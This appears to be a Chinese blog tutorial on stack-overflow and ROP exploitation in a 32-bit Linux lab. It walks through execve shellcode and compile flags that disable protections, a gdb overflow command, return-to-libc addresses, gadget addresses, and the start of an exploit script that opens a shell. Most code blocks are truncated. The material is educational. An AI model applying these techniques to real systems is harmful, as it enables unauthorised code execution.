基于github在linux64位系统下实现ROP攻击
github项目地址:一步一步学ROP
B站参考视频:从栈溢出开始,教你写Shellcode和ROP链
一、什么是ROP
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。
二、
尝试执行明显栈溢出的程序
1 |
|
采用编译选项
1 | gcc -fno-stack-protector -z execstack -o level1 level1.c |
这个时候会报错,但是也可以看到,左侧编译成功的level1生成了
使用gdb测试生成的level1文件
一、打开一个shell的原理
如果要打开一个shell,那么就是调用下面的语句
1 | execve("/bin/sh",null,null) |
其栈的结构如图所示
命令的汇编如图所示
第一步把%eax作异或,结果总是零,第三步是将当前栈指针的值(%esp
)移动到寄存器%ebx
中。这样就可以从/bin开始执行,然后到//sh
然后
pushl %ebx
- 作用: 将寄存器
%ebx
的值(即字符串“/bin//sh”的起始地址)压入栈中。 - 解释: 这一步将字符串“/bin//sh”的地址压入栈中,作为argv数组的第一个元素。
- 作用: 将寄存器
movl %esp, %ecx
- 作用: 将当前栈指针的值(
%esp
)移动到寄存器%ecx
中。 - 解释: 此时,
%ecx
指向argv数组的起始地址(即栈中的指针数组{“/bin//sh”, NULL})。
- 作用: 将当前栈指针的值(
- 作用: 将寄存器
%eax
的符号位扩展到%edx
中。 - 解释: 因为
%eax
当前为0,所以%edx
也被清零。这一步是为后续的系统调用做准备。
- 作用: 将寄存器
movb $0xb, %al
- 作用: 将值
0xb
(即系统调用号11,对应于execve
系统调用)移动到寄存器%al
中。 - 解释: 这一步是为了指定系统调用类型为
execve
。
- 作用: 将值
int $0x80
- 作用: 触发中断0x80,执行系统调用。
- 解释: 这一步实际执行系统调用,将前面准备好的参数传递给内核,启动新的Shell(
/bin/sh
)。
1.1 打开一个shell的内联代码
1 | void shellcode() |
编译流程,可以看到最后打开了一个shell,能够执行ls
1.2 测试提取后的shellcode
1 | char shellcode[] = |
编译的时候要记得加上 “开启堆栈可执行”
1 | gcc -z execstack -m32 shellcode.c -o shellcode |
无法成功执行。
二、栈溢出漏洞的利用步骤
三、关闭ASLR之后获取 system()
和 exit()
函数的地址
bof.c代码
1 | #include <stdio.h> |
编译选项
1 | gcc -fno-stack-protector -z execstack -m32 bof.c -o bof |
运行gdb
1 | gdb -q --args ./bof $(python3 -c 'print("A" * 140 + "BBBB")') |
获得system和exit的地址
1 | print system |
1 | print exit |
操作如下
四、执行exploit
exploit是利用程序漏洞执行恶意代码的方法。英文翻译是利用。
使用图中命令可以启动shell
其中,
print "A" * 140
:填充140个’A’字符,覆盖缓冲区和保存的EBP。"\x80\xfd\xe3\xf7"
:system
函数地址。"\xb0\x39\xe3\xf7"
:exit
函数地址。"\x79\xd0\xf4\xf7"
:/bin/sh
字符串地址。"\x00\x00\x00\x00"
:表示NULL。
五、找到gaget之后构建payload打开一个shell、
5.1 构建C程序
1 | #include <stdio.h> |
然后编译
1 | gcc -fno-stack-protector -z execstack -m32 vuln.c -o vuln |
5.1 找到如下的gadgets
pop eax; ret
- 0x080b84c6pop ebx; ret
- 0x080481c9pop edx; ret
- 0x0806ec5apop ecx; ret
- 0x080de8c4int 0x80
- 0x08049421
5.3 构建并运行Exploit
1 | import struct |
运行
1 | ./vuln $(python3 exploit.py) |
即可调用新的shell